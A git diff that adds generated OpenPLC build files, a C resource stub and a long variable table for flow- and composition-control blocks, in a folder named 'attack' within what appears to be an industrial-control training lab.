+ +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; 